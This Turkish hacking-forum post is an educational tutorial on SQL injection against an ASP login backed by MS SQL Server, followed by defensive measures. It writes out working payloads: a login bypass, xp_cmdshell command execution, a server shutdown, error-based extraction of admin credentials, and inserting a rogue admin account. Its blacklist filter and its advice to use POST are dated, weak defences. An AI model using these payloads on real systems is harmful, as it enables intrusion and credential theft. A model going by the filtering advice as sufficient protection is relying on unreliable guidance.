Henüz Üye Degilmisin ? Üye Ol | Parolamı Unuttum
Paneli Kapat
SANALGUCLULER Hack ve Güvenlik Platformu  

SQL ENJEKSİYON SALDIRILARI ve KORUNMA YOLLARI

[Yanlizca 10 Saniyede Üye Olmak Için TIKLAYINIZ... ] Dünyanın her tarafında, kullanıcılarına; kredi kartı numaraları, kullanıcı bilgileri gibi gizli kalması gereken bilgilerin, ürünlere ve siparişlere ait verilerin saklandığı uç-arka veri depolarıyla hizmet veren web siteleri bulunmaktadır. Ve genel olarak, web sitelerindeki form aracılığı ile alınan girdi ile veritabanındaki bilgiler filtrelendikten

AnaSayfa Kimler Online Bugünki Mesajlar Forumları Okundu Kabul Et
Go Back   SANALGUCLULER Hack ve Güvenlik Platformu > Web Güvenlik Açıkları

Yeni Konu aç  Cevapla
 
LinkBack Seçenekler Stil
Alt 08 Şubat 2012, 11:07   #1
Mareşal
Ceybi Nickli Üyenin Kullanıcı Resmi (Avatar)
Üyelik Tarihi: 12 Ocak 2012
Mesajlar: 789
Rep Puanı : 10
Rep Derecesi : Ceybi isimli üye Tecrübe puanını kapatmıştır.
Standart SQL ENJEKSİYON SALDIRILARI ve KORUNMA YOLLARI

[Yanlizca 10 Saniyede Üye Olmak Için TIKLAYINIZ...]


Dünyanın her tarafında, kullanıcılarına; kredi kartı numaraları, kullanıcı bilgileri gibi gizli
kalması gereken bilgilerin, ürünlere ve siparişlere ait verilerin saklandığı uç-arka veri
depolarıyla hizmet veren web siteleri bulunmaktadır. Ve genel olarak, web sitelerindeki
form aracılığı ile alınan girdi ile veritabanındaki bilgiler filtrelendikten sonra sonucu
kullanıcıya gönderen bu tür sistemlerde Yapısal Sorgulama Dili (Structured Query
Language - SQL) kullanılmaktadır. Uygulama içerisinde kullanılacak parametre değerleri
alınırken kullanılan formun SQL Deyimini yeniden yapılandırabilecek bazı özel
karakterlere izin vermesiyle güvenlik problemleri ortaya çıkmaktadır.
Bu güvenlik problemleri kullanılarak bir uygulamanın arkasında, bu uygulamaya destek
veren veri tabanı üzerindeki bütün bilgilere ulaşılabilir veya bilgiler üzerinde değişiklik
yapılabilir. Veya veri tabanı sisteminin komutları kullanılarak kullanılan sunucular
üzerinde uygulama harici istenen işlemler de yapılabilir. Bu problemlerden korunmak için
de uygulama girdilerini bu tür karakterlere karşı kontrol eden fonksiyonların kullanılmalı
ve geniş çaplı uygulamaların bu güvenlik açıklarını taşıyıp taşımadığını anlamak için
güvenlik denetimine tabi tutulmalıdır.
Bir Uygulama Güvenliği Problemi
“Yapısal Sorgulama Dili Kullanımı”
.................................................. ....................................
Yapısal Sorgulama Dili SQL’in uygulamalarda kullanımına örnek vermek gerekirse;
SELECT Name, Address FROM Users WHERE UserID = '2081'
Şeklindeki SQL Deyimi “Users” adlı tablodan “2081” ürün ID si ile veritabanına kayıtlı
olan kişiye ait olan isim ve adres bilgilerini dönecektir. Bu noktada muhtemel zayıflık,
kullanılan formun SQL Deyimini yeniden yapılandırabilecek bazı özel karakterlere izin
vermesiyle ortaya çıkmaktadır. Çözümü ise girdilerden bu özel karakterlerin
filtrelenmesini sağlayan fonksiyonlardır.
Hızla gelişen internet teknolojileri karşısında yeni pazarda geç olmadan yerini almak
isteyen müşterilerine daha kısa sürede daha kullanışlı ve ucuz çözümler sunmak zorunda
olan uygulama geliştiriciler bu süreçte güvenlik gibi önemli bir faktörü ikinci plana
atmaktadırlar.
Giderek yaygınlaşan ve medyanın haber potansiyelini oluşturan; çalınan kredi kartı
numaraları, yer altı sitelerde dağıtılan müşteri bilgileri, şirket projeleri - yazışmaları
yaklaşan tehlikenin habercisi olmakla beraber halen bu tür kayıpların yaratabileceği
maddi sonuçları kavrayamayan ve hala “az maliyetle kurtarılan güvenlik projeleri” ’yle
övünen yöneticilere uyarı niteliği taşımaktadır. Öyleki -herzaman bir adım önde olmayı
amaçlayan- saldırganlar güvenliğin en üst seviyede olması beklenen devlet siteleri dedahil olmak üzere pek çok sisteme yönelik saldırılarına da ara vermeksizin devam
etmektedirler.
Maddi ve manevi değere sahip şirketinizi bir anlamda iş ortaklarını olan uygulama
geliştiricilerin hazırladıkları uygulama ürünlerine emanet edildiğini düşünürsek,
“uygulamalarınıza ne kadar güvenirsiniz?” gibi bir soruya verilecek cevap büyük önem
taşımaktadır.
Böyle bir ortamda uygun güvenlik çözümü için ayrılmış bütçe bir lüks değil her an
yapılabilecek bir saldırıda şirketin uğrayacağı zararı ortadan kaldırmak için alınması
gereken önlem niteliği taşımaktadır.
Örnek Saldırılar
Güvenlikte sıkça kullanılan bir deyim; “Saldırganlardan korunabilmek için onlar gibi
düşünmelisiniz!..”. Saldırganın sisteminize girmek için kullanabileceği yöntemleri bilmek
bu saldırılardan korunabilmek için alınan önlemleri daha sağlıklı kılacaktır.

Örneklerde kullanacağımız hedef ; Microsoft®
Internet Information Server™’ dan Microsoft® SQL
Server™’a varsayılan sistem hesabı’ndan (sa) bağlanan
ASP tabanlı bir kullanıcı hesabı yöneticisi olacak.
Form.asp : Username ve Password girdisini alan
form.Solda...
Login.asp : Veritabanı ile bağlantıya geçen ve
girdinin doğruluğunu kontrol eden ASP kodu.
Kötü Amaçlı (‘) İmleçleri Yardımıyla İzinsiz Giriş Sağlama
Kullanıcı “Username” & “Password” verisini Login.asp ye yolladıktan sonra .asp kodunun
yapacağı iş verilen yoldaki veritabanı ile bağlantı kurup ilgili tabloda Username ve
Password sütünlarında gönderilen verinin doğruluğunu kontrol etmek olacaktır. Bu işlem
sonucunda eğer sonuç olumluysa kullanıcıya; “Giriş Yapıldı” olumsuzsa; “Geçersiz
Kullanıcıadı & Şifre” mesajı verilecektir.
Örnekleyecek olursak;
Username : ceybi
Password : 2081
Şeklindeki kullanıcı girdisi aşağıdaki SQL Deyimini oluşturacaktır;
SELECT count(*) FROM Users WHERE Username = 'ceybi' AND Password =
'2081'
İlk bakışta sorun olmayan bir SQL Deyimi... Fakat saldırganın;
Username : ceybi
Password : ‘ OR 1=1--
Şeklindeki girdilerle oluşturacağı SQL Deyimi ise;
SELECT count(*) FROM Users WHERE Username = 'ceybi' AND Password =
'' OR 1=1 --'
Olacaktır ki, bu durumda girişin sağlanması için şart “ceybi” kullanıcı adına ait şifrenin
hiçbirşey* olması veya ikinci bir opsiyon olarak 1=1 eşitliğinin sağlanmasıdır.
* Hiçbişey ≠ Boşluk

Sonuç : 1=1 eşitliği sağlandığına göre saldırı başarıyla sonuçlanacak ve “Giriş Yapıldı”
mesajı verilecektir.
Not : Microsoft® SQL Server™ “--“ imlecinden sonra gelen yersiz kullanılmış tırnak
işaretlerini göz ardı edecektir. İlk bakışta basit gibi görünen ve sadece SQL Server’a ait
olan bu özellik ilerde örneklerden de anlaşılacağı üzere saldırgana büyük kolaylık
sağlayacaktır.
Uzaktan Çalıştırılması Mümkün Olan Prosedürler;
MS SQL Server’a varsayılan sistem hesabından yaptığımız bağlantı SQL Enjeksiyon
saldırısında muhtemel saldırgana sunucuda saklanan prosedürleri çalıştırabilmesi için
gerekli hakları tanıyacaktır. Saldırganın kullanabileceği prosedürlerden bir tanesi;
“master..xp_cmdshell” olabilir.
Username : ceybi
Password : '; EXEC master..xp_cmdshell ‘dir c:'--
Girdileriyle oluşacak SQL Deyimi;
SELECT count(*) FROM Users WHERE Username = 'ceybi' AND Password =
''; EXEC master..xp_cmdshell ‘dir c:'--'
Sonuç : SQL Server Kullanıcıadı ve Şifreyi bulunduran sütunları arayacaktır bulamadığı
için “Yanlış Kullanıcıadı & Şifre” mesajını verecektir fakat bu arada arka planda “dir c:”
komutunu çalıştıracak ve saldırgan C sürücüsünün içeriğine ulaşacaktır.
SQL Server Hedef Alınarak Yapılan Saldırılar;
Yönetici haklarına sahip saldırgan silme,ekleme,değiştirme...vb gibi komutları rahatlıkla
çalıştırabilecektir.
SHUTDOWN WITH NOWAIT SQL Server’ın kritik komutlarından bir tanesidir. Komutla
beraber SQL Server görevine son verir.
Username : ‘; SHUTDOWN WITH NOWAIT--
Password : [Boş]
Bu girdilerle oluşturulan SQL Deyimi;
SELECT Username FROM Users WHERE Username=''; SHUTDOWN WITH NOWAIT;
--' AND Password=''
Sonuç : SQL Server kullanıcıadının bulunamadığı mesajını verecektir. Fakat bununla
beraber arka planda diğer komutu çalıştırdığı için SQL Server kapanacaktır.
ODBC Hatalarından Faydalanarak Yapılan Saldırılar;
SQL Server’ın verdiği hatalardan faydalanarak veritabanındaki neredeyse tüm bilgilere
ulaşmak mümkündür.
Hedef; [Yanlizca 10 Saniyede Üye Olmak Için TIKLAYINIZ...] şeklinde ürün ID leri ile çalışan ASP tabanlı bir
websitesi.
Saldırı SQL Server’ın integer ve string cinsinden verileri birlikte gönderememesinden
faydalınarak yapılır;
Gönderilen ‘10’ sayısına veritabanından herhangi bir string eklenir.
[Yanlizca 10 Saniyede Üye Olmak Için TIKLAYINIZ...] UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES--
Not : “INFORMATION_SCHEMA.TABLES” sistem tablosu, sistemde bulunan diğer tüm
tablolar hakkında bilgi içerir. Deyimde kullanılan “TABLE_NAME” de yine tüm tablo
isimlerini içerir.
Oluşacak SQL Deyimi;
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
String -> Integer dönüşümünü yapamayan SQL Server aşağıdaki hatayı verecektir.
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'Table1' to a column of data type
int.
/Default.asp, line 5
Hata, saldırgana “Table1” olarak bulduğu cevabı integer a çeviremediğini (dolayısıyla
veritabanındaki ilk tablo adının “Table1” olduğunu) belirtmektedir. Saldırgan diğer
tabloların adını aşağıdaki şekilde öğrenebilir...
[Yanlizca 10 Saniyede Üye Olmak Için TIKLAYINIZ...] UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('Table1')--
Veya doğrudan LIKE komutunu kullanarak aradığı şeye daha kolay yoldan ulaşabilir;
[Yanlizca 10 Saniyede Üye Olmak Için TIKLAYINIZ...] UNION SELECT TOP 1 TABLE_NAME FROM
INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25Login%25'--
SQL Server’ın vereceği hata;
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'Admin_Login' to a column of data
type int.
/Default.asp, line 5
Admin_Login adında bir tablo olduğunu öğrenen saldırgan muhtemelen tablodaki ilk
kullanıcıadı ve şifreye ulaşmak isteyecektir. İzleyebileceği yol ise;
[Yanlizca 10 Saniyede Üye Olmak Için TIKLAYINIZ...] UNION SELECT TOP 1 Username FROM Admin_Login--
Hata;
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'ceybi' to a column of data type int.
/Default.asp, line 5
Bu şekilde “admin” kullanıcıadının varlığını doğrulayan saldırganın şifreyi ele geçirmek
için kullanacağı girdi;
[Yanlizca 10 Saniyede Üye Olmak Için TIKLAYINIZ...] UNION SELECT TOP 1 Password FROM Admin_Login
WHERE Username='ceybi'--
Hata;
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value '2081' to a column of data type int.
/Default.asp, line 5
Sonuç :
Username : ceybi
Password : 2081
Veritabanına Ekleme Yapma veya Veri Düzenleme;
Kullanıcıadı ve şifre bilgisine ulaşan muhtemel saldırgan benzer yöntemleri ve
UPDATE,INSERT komutlarını kullanarak şifreyi değiştirebilir veya daha temizi başka bir
kullanıcı hesabı açabilir...
[Yanlizca 10 Saniyede Üye Olmak Için TIKLAYINIZ...] UPDATE 'Admin_Login' SET
'Password' = 'NewPwd' WHERE Username='ceybi'--
Yeni bir kullanıcı hesabı için;
[Yanlizca 10 Saniyede Üye Olmak Için TIKLAYINIZ...] INSERT INTO 'Admin_Login'
('UserID', 'Username', 'Password', 'Details') VALUES
(666,'Desperate_Cry','2081','N/A')--
Nasıl Korunmalı?
.................................................. ....................................
Gelebilecek SQL Enjeksiyon saldırılarından korunabilmek için alınan önlemlerde temel
alınması geren nokta... “Aksi doğrulanıncaya kadar tüm kullanıcı girdileri kötüdür!”.
Kullanıcı Haklarının Sınırlandırılması ;
Yaygın olarak yapılan hata; Web Server dan SQL Server a yapılan bağlantılarda varsayılan
sistem hesabı kullanılması... Bu şekilde yönetici haklarına sahip olan saldırgan örneklerde
de görülebileceği üzere isteği komutu çalıştırıp istediği ekleme,silme,düzeltme eylemini
gerçekleştirebilecektir. Bunu yerine yapılması gereken yeni bir kullanıcı hesabı oluşturup
kullanıcının çalıştırabileceği komutları sınırlandırmak olacaktır.
Mesela sitenizden ürünlerinizin incelenmesine ve bunlar arasından sipariş verilmesine izin
verecekseniz, “web_user” gibi bir kullanıcı adı oluşturup ürünleri incelemek için; ürünler
sütununda sadece “SELECT” kullanımına ve siparişleri için; siparişler sütununda sadece
“INSERT” kullanımına izin vermeniz uygun olacaktır.
Girdilerde Tırnak İmleçlerinin (‘) Kötü Amaçlı Kullanımının Engellenmesi ;
Yaygın SQL Enjeksiyon saldırıları SQL deyimlerinin girdilerdeki gereksiz (‘) tırnak
işaretleri yardımıyla yeniden oluşturulması sayesinde yapılır.
Küçük bir filtreleme fonksiyonu veya tek tırnağı çift tırnağa çeviren bir fonksiyon
muhtemel bir saldırıyı engellmek için yeterli olabilir.
ASP Kullanarak girdileri kontrol ederek değiştiren bir fonksiyon kolaylıkla yazılabilir;
<%
Function ReplaceQuotes(strWords)
ReplaceQuotes = Replace(strWords,”’”,”””)
End Function
%>
Bu fonksiyonu baştaki örnekte kullanırsak;
SELECT count(*) FROM Users WHERE Username='ceybi' AND Password=''
OR 1=1 --'
şeklinde olan deyim...
SELECT count(*) FROM Users WHERE Username='ceybi' AND Password='”
OR 1=1 --'
‘e dönüşecektir.
Form Girdilerinden Gereksiz Karakterlerin Elenmesi ;
SQL Enjeksiyon saldırıları genelde “;, --,SELECT, INSERT ve xp_” gibi karakterlerinkelimelerin
kullanılmasıyla yapıldığı için gönderilecek girdinin önce bir filtreleme
fonksiyonundan geçirilmesi muhtemel zayıflığı engelleyebilir.Örneğin kullanıcıdan E -
Mail adresini girmesi isteniyorsa harfler ve sayıların yanında sadece “ @,-,_,.”
karakterlerinin kullanılmasına izin verilmelidir.
Ve sunucuda saklanan xp_cmdshell ve xp_grantlogin gibi genel prosedürler,C/C++ tabanlı
DLL ler, kullanıcı taraflı fonksiyonlar...vb, izole edilmiş bir sunucuya taşınmalıdır.
Bazı zararlı kelime-harfleri filteleyen ASP fonksiyonu aşağıda örneklenmiştir;
<%
Function FilterBadWords(strWords)
dim BadWords
dim NewWords
BadWords = array("SELECT", "DROP", ";", "--", "INSERT", "DELETE",
"xp_")
NewWords = strWords
for i = 0 to uBound(BadWords)
NewWords = Replace(NewWords, BadWords(i), "")
Next
FilterBadWords = NewWords
End Function
%>
Tırnak değiştirme fonksiyonu ve filtreleme fonksiyonu beraber kullanılırsa;
SELECT Username FROM Users WHERE Usename=''; EXEC
master..xp_cmdshell 'dir c'; --' AND Password=''
Şeklindeki SQL Deyimi...
SELECT Username FROM Users WHERE Usename='” EXEC master..
cmdshell “dir c:” ' AND Password=''
‘e dönüşecektir ki bu da herhangi bir kayıt bulumadığı hatasını vermekten öteye
gitmeyecektir. Bu fonksiyonu kullanıcıdan gelen bütün girdilere, adres satırı ifadelerine
ve çerezlerden gelen tüm veriye uygulamamız gelebilecek saldırının önüne geçecektir.
Girdi Uzunluğunun Sınırlandırılması ;
Veritabanındaki ayrılan alanın uzunluğu 10 karakterlikse, formunuzda bu alan için 50
karakter sığan bir text kutusuna sahip olmanız sakıncalı olabilir. Ve mümkün olduğu
kadar girdi uzunluklarını kısa tutmak muhtemel saldırıyı engellemek için önlem
sayılabilir.
Girdi Cinsinin Kontrol Edilmesi ;
Formunuzdan girilen verinin istediğiniz türden bir veri olup olmadığını kontrol eden bir
fonksiyon kötü amaçlı kullanımlarda saldırganın kullanabileceği harf/sayı seçeneğini
kısıtlayacaktır. Mesela, eğer Ürün ID si için formunuzdan girdi alıyorsanız girdinin sayısal
bir ifade olup olmadığını kontrol eden bir fonksiyon fayda sağlayacaktır.
Kullanılan Veri Gönderme Metodu ;
Formunuz aracılığı ile topladığınız verileri yollarken mutlaka “POST” metodunu kullanın
ki kullanıcılarınız adres çubuğunda girdikleri verilerle beraber form değerlerini
gördüklerinde akıllarına farklı fikirler gelmesin.

Son Söz

Aldığınız güvenlik önlemleri veya (en iyi ihtimalle) yazıp da kullanmayı bir alışkanlık
haline getiremediğiniz güvenlik politikaları sizi güvenlik problemlerine karşı koruyabilir
mi? Eğer güvenlik ile ilgili problemleri yönetmeyi süreç temelli bir güvenlik bilinci
içerisinde ele almıyorsanız hiçbir güvenlik ürünü, bir güvenlik kaybına uğramanızı
engelleyemez.
Bilgi sistemleri altyapınızı taşıdıkları güvenlik zaaflarına karşı düzenli olarak kontrol
ettirmek, risklerinizi takip etmek, doğru teknolojiyi doğru yerde ve doğru şekilde
kullanmanızı sağlayacak güvenlik politikalarınızı oluşturup güvenlik probleminizi sürekli
yönetebilecek olgunluğa ulaşmak hedeflenmelidir. Bilgi sistemlerinin önemli bir kısmını
oluşturan uygulamaların taşıyabileceği güvenlik sorunları uzun süredir ihmal
edilmelerinden dolayı, günümüzün en popüler sistem sızma noktalarını teşkil
etmektedirler. Bu nedenle uygulama güvenliğine ilişkin gereken önemi vermeniz,
güvenlik denetimi yaptırmanız ve kurumunuzun bilgi güvenliği yönetim sistemini
oluşturmaya bir yerinden başlamanızı öneriyoruz.








Dur Dinle! Hep Konuşursan Hiç Birşey Duyamassın! (Hz.Ali)
Ceybi isimli Üye şuanda  online konumundadır   Alıntı ile Cevapla

Sponsor Linkler (Lütfen Sitemize Destek Olmak İçin Günde Bir Kez Tıklayınız)
Cevapla

Paylaş

Etiketler
enjeksiyon, enjeksİyon, korunma, saldirilari, sql, yollari

Seçenekler
Stil

Yetkileriniz
Konu Acma Yetkiniz Yok
Cevap Yazma Yetkiniz Yok
Eklenti Yükleme Yetkiniz Yok
Mesajınızı Değiştirme Yetkiniz Yok

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodu Kapalı
Trackbacks are Açık
Pingbacks are Açık
Refbacks are Açık



Tüm Zamanlar GMT +3 Olarak Ayarlanmış. Şuanki Zaman: 20:38.


"İnsanları da Kağıt Paralar Gibi Güneş'e Tutunuz, İçlerinde Atatürk Yoksa Sahtedirler ..."
Sitemiz bir forum sitesi olduğu için kullanıcılar paylaşımlarını önceden onay almadan anında siteye yazabilmektedir. Bu yazılardan dolayı doğabilecek her türlü sorumluluk yazan kullanıcılara aittir. Yinede sitemizde yasalara aykırı unsurlar bulursanız admin[at]sanalgucluler[dot]com iletisim adresine bildirebilirsiniz, şikayetiniz incelenip en kısa sürede gereken yapılır.
Alemin Kralı, Alexa, Altavista, Android, Android, Apple ios, Apple Iphone, ASP-.NET, Astroloji, Bada, Blackberry, Blackberry Os, C#, C/C++, Çin Malı Telefonlar, Counter Strike, CSS, Delphi, DMOZ, Eklentiler (Hack-Plugins), Ekonomi, Fatmagül’ün Suçu Ne?, Firar, Google Adsense, Google Adwords, Google Analytics, Google Pagerank, Google Translate, Güvenlik Programları, Hayat Devam Ediyor, HTC, HTML-XHTML, Java, JavaScript & AJAX, Kamera Şakaları, Karahan Online, Kaza Videoları, Knight OnLine, Komik Videolar, Kurtlar Vadisi Pusu, Kuzey Güney, Kültür Sanat, Linux, MAC-OS, Maemo, Magazin, Metin2, Mobil, Moderatör Başvuruları, Motorola, Muck, Muhteşem Yüzyıl, Nokia, Ogame, Palm Os, Pardus, PHP, Pis Yedili, Planet, Python, Sağlık, Samsung, Ses&Video Programları, Siemens, Silkroad Online, Sinema, Sonyericsson, Sorularınız ve Cevapları, Spor, Symbian, Sürücü&Driver, Tasarım Programları, Teknoloji, Travian, Tv Rehberi, Unix, vBulletin Temaları, Visual Basic, Windows, Windows Mobile, WolfTeam, World of Warcraft, WPF/WCF, XML/XSLT, Yahoo, Yalan Dünya, Yer Gök Aşk, İlginç Videolar, İnternet Programları, İstanbul Kıyamet Vakti, Öyle Bir Geçer Zamanki
I Love You Google

Search Engine Optimization by vBSEO 3.6.0